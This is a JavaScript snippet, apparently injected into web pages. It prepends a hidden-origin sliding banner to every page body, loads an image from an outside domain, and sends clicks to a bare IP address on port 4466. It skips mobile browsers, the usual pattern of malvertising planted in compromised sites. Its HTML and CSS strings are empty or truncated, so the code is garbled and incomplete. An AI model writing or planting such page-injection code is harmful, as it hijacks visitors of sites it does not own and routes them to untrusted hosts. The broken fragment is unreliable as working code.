(function ($) { $.cachedScript = function (url, cache, callback) { $.ajax({ type: 'GET', url: url, success: callback, dataType: 'script', ifModified: true, cache: cache }); }; })(jQuery); (function ($) { $.fn.ADTOPLB = function (sUrl, image_urls) { var ClassName = "ADTOPLB_" + parseInt(Math.random() * 1000); SetHtml(sUrl, ClassName, image_urls); jQuery("." + ClassName).slide({ mainCell: ".bd ul", effect: "left", autoPlay: true, easing: "easeInQuint", interTime: 5000 }); } function SetHtml(sUrl, sClass, image_urls) { var width = 1200; //屏幕宽度 var bodyWidth = $(document.body).width(); var n = (bodyWidth / width); var height = 80; var jumpWidth = 50 * n; var jumpHeight = 50 * n; var jumpFontSize = 30 * n; var jumpTop = 230 * n; var jumpLeft = 145 * n; var sCss = '' var sHtml = '
' //+'' $("body").prepend(sCss + sHtml); $(".logo_down_gb").click(function () { $("." + sClass).fadeOut(); }) } var urlpath = window.location.pathname; var isindex = (urlpath == '/' || urlpath == '/index.html' || urlpath == '/index.php'); var ismobile = (navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i)); isindex = false;//不判断首页 // ismobile=false;//不判断手机 if (!isindex && !ismobile) { //顶部下拉 $(function () { var target_url = "http://23.225.52.67:4466/vip344.html"; $("body").ADTOPLB(target_url, ['https://im.ue8im.com/wg-2023440066/1200-80.gif']); $(".bd .div00 .ljkhhover").click(function () { window.open(target_url); }); }); } })(jQuery); document.write("") document.write("") document.write("")